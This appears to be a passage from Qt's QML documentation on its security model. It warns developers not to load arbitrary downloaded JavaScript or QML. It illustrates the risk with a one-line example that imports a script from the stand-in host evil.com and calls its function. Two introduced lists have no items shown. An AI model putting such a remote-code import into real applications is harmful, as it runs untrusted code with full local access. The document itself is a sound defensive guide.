The QML security model is that QML content is a chain of trusted content: the user installs QML content that they trust in the same way as they install native Qt applications, or programs written with runtimes such as Python and Perl. That trust is establish by any of a number of mechanisms, including the availability of package signing on some platforms.
In order to preserve the trust of users, developers producing QML content should not execute arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
For example, this QML content:
import QtQuick 1.0 import "http://evil.com/evil.js" as Evil Component { onLoaded: Evil.doEvil() }
is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution environment of QML does not try to stop any particular accesses, including local file system access, just as for any native Qt application, so the "doEvil" function could do the same things as a native Qt application, a Python application, a Perl script, etc.
As with any application accessing other content beyond it's control, a QML application should perform appropriate checks on untrusted data it loads.
A non-exhaustive list of the ways you could shoot yourself in the foot is:
However, the above does not mean that you have no use for the network transparency of QML. There are many good and useful things you can do:
The only reason this page is necessary at all is that JavaScript, when run in a web browser, has quite many restrictions. With QML, you should neither rely on similar restrictions, nor worry about working around them.